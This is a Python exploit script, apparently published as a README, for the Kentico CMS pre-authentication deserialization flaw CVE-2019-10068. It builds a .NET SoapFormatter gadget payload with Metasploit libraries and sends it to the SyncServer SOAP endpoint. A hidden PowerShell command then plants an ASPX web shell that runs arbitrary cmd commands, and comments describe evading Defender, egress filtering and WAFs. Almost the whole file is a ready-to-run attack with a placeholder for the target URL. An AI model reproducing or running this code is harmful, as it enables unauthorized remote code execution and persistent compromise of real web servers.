README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2019-10068 Kentico CMS Pre-Auth RCE — ASPX Web Shell Dropper
Bypasses Defender/egress filtering by writing ASPX to web root (no binary on disk).
"""
import subprocess, sys, ssl, urllib.request, urllib.parse, base64
import tempfile, os, time, textwrap
TARGET = 'ADD YOUR TARGET URL HERE'
ENDPOINT = '/CMSPages/Staging/SyncServer.asmx'
NAMESPACE = 'http://localhost/SyncWebService/SyncServer'
# Possible App Service web root candidates (tried in order)
WEB_ROOTS = [
r'C:\home\site\wwwroot',
r'D:\home\site\wwwroot',
r'C:\inetpub\wwwroot',
r'C:\inetpub\wwwroot\CMS',
r'C:\Program Files\Kentico',
]
SHELL_NAME = 'x.aspx'
# Minimal ASPX shell — runs cmd, returns output, no <script> tags (avoid WAF)
ASPX_SHELL = (
'<%@ Page Language="C#" %>'
'<%'
'var si=new System.Diagnostics.ProcessStartInfo('
'"cmd","/c "+Request["c"])'
'{UseShellExecute=false,RedirectStandardOutput=true,RedirectStandardError=true};'
'var p=System.Diagnostics.Process.Start(si);'
'Response.Write(p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd());'
'%>'
)
# Ruby helper — reads command from file, generates SoapFormatter payload to stdout
RUBY_HELPER = textwrap.dedent(r"""
ENV['BUNDLE_GEMFILE'] = '/usr/share/metasploit-framework/Gemfile'
require 'bundler/setup'
$LOAD_PATH.unshift '/usr/share/metasploit-framework/lib'
require 'rex/text'
require 'nokogiri'
require 'msf/util/dot_net_deserialization'
require 'msf/util/dot_net_deserialization/enums'
require 'msf/util/dot_net_deserialization/assemblies'
require 'msf/util/dot_net_deserialization/types'
require 'msf/util/dot_net_deserialization/types/primitives'
require 'msf/util/dot_net_deserialization/types/general'
require 'msf/util/dot_net_deserialization/types/common_structures'
require 'msf/util/dot_net_deserialization/types/record_values'
require 'msf/util/dot_net_deserialization/formatters'
require 'msf/util/dot_net_deserialization/formatters/binary_formatter'
require 'msf/util/dot_net_deserialization/formatters/soap_formatter'
require 'msf/util/dot_net_deserialization/gadget_chains'
require 'msf/util/dot_net_deserialization/gadget_chains/type_confuse_delegate'
require 'msf/util/dot_net_deserialization/gadget_chains/claims_principal'
require 'msf/util/dot_net_deserialization/gadget_chains/text_formatting_run_properties'
require 'msf/util/dot_net_deserialization/gadget_chains/object_data_provider'
require 'msf/util/dot_net_deserialization/gadget_chains/data_set'
require 'msf/util/dot_net_deserialization/gadget_chains/data_set_type_spoof'
require 'msf/util/dot_net_deserialization/gadget_chains/windows_identity'
cmd = File.read(ARGV[0]).strip
payload = Msf::Util::DotNetDeserialization.generate(
cmd,
gadget_chain: :WindowsIdentity,
formatter: :SoapFormatter
)
$stdout.binmode
$stdout.write(payload)
""").strip()
def gen_payload(cmd: str) -> bytes:
"""Generate SoapFormatter WindowsIdentity gadget via MSF bundled Ruby."""
with tempfile.NamedTemporaryFile(mode='w', suffix='.rb', delete=False) as rf:
rf.write(RUBY_HELPER)
rb_path = rf.name
with tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) as cf:
cf.write(cmd)
cmd_path = cf.name
try:
return subprocess.check_output(
['bundle', 'exec', 'ruby', rb_path, cmd_path],
cwd='/usr/share/metasploit-framework',
stderr=subprocess.PIPE
)
finally:
os.unlink(rb_path)
os.unlink(cmd_path)
def xml_escape(s: str) -> str:
return s.replace('&', '&').replace('<', '<').replace('>', '>').replace('"', '"')
def send_soap(payload_bytes: bytes):
escaped = xml_escape(payload_bytes.decode('utf-8'))
body = (
'<?xml version="1.0" encoding="utf-8"?>'
'<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
'xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">'
'<soap:Body>'
f'<ProcessSynchronizationTaskData xmlns="{NAMESPACE}">'
f'<stagingTaskData>{escaped}</stagingTaskData>'
'</ProcessSynchronizationTaskData>'
'</soap:Body>'
'</soap:Envelope>'
)
req = urllib.request.Request(
TARGET + ENDPOINT,
data=body.encode('utf-8'),
method='POST',
headers={
'Content-Type': 'text/xml; charset=utf-8',
'SOAPAction': f'"{NAMESPACE}/ProcessSynchronizationTaskData"',
}
)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
with urllib.request.urlopen(req, context=ctx, timeout=30) as r:
return r.status, r.read().decode('utf-8', errors='replace')
except urllib.error.HTTPError as e:
return e.code, e.read().decode('utf-8', errors='replace')
except Exception as e:
return None, str(e)
def check_shell(url: str) -> str | None:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
r = urllib.request.urlopen(url + '?c=whoami', context=ctx, timeout=10)
return r.read().decode('utf-8', errors='replace').strip()
except Exception:
return None
def drop_shell(web_root: str) -> bool:
shell_path = web_root + '\\' + SHELL_NAME
shell_url = TARGET + '/' + SHELL_NAME
# Base64-encode ASPX content to avoid quoting/escaping issues in PS
aspx_b64 = base64.b64encode(ASPX_SHELL.encode('utf-8')).decode()
ps_cmd = (
f"[IO.File]::WriteAllText('{shell_path}',"
f"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('{aspx_b64}')))"
)
cmd = f'powershell -w h -nop -c "{ps_cmd}"'
print(f'[*] Target path : {shell_path}')
print(f'[*] Payload cmd : {cmd[:120]}...')
print(f'[*] Generating SoapFormatter payload via MSF library...')
try:
payload = gen_payload(cmd)
except subprocess.CalledProcessError as e:
print(f'[-] Ruby payload generation failed: {e.stderr.decode()}')
return False
print(f'[*] Payload size: {len(payload)} bytes')
print(f'[*] Sending exploit...')
status, body = send_soap(payload)
print(f'[*] HTTP {status}')
if status is None:
print(f'[-] No response: {body}')
return False
fired = any(x in body for x in [
'InvalidCastException', 'TargetInvocationException', 'OnDeserialization'
])
denied = 'Win32Exception' in body or 'Access is denied' in body
if fired:
print('[+] Deserialization chain fired!')
elif denied:
print('[-] Gadget fired but Process.Start was denied (check IIS account perms)')
return False
else:
print(f'[-] Unexpected response: {body[:300]}')
return False
print(f'[*] Waiting 3s for file write to complete...')
time.sleep(3)
print(f'[*] Checking {shell_url}?c=whoami')
result = check_shell(shell_url)
if result:
print(f'\n[+] ============================')
print(f'[+] SHELL ACTIVE: {shell_url}')
print(f'[+] whoami output: {result}')
print(f'[+] ============================\n')
print(f'[*] Usage: {shell_url}?c=<command>')
return True
else:
print(f'[-] Shell not accessible at {shell_url} (wrong web root path?)')
return False
if __name__ == '__main__':
print(f'[*] CVE-2019-10068 ASPX Shell Dropper')
print(f'[*] Target: {TARGET}')
for root in WEB_ROOTS:
print(f'\n[*] Trying web root: {root}')
if drop_shell(root):
sys.exit(0)
print('\n[-] All web root paths failed.')
print('[*] Try: check IIS logs for the app path, or enumerate via the shell once a valid path is found.')
sys.exit(1)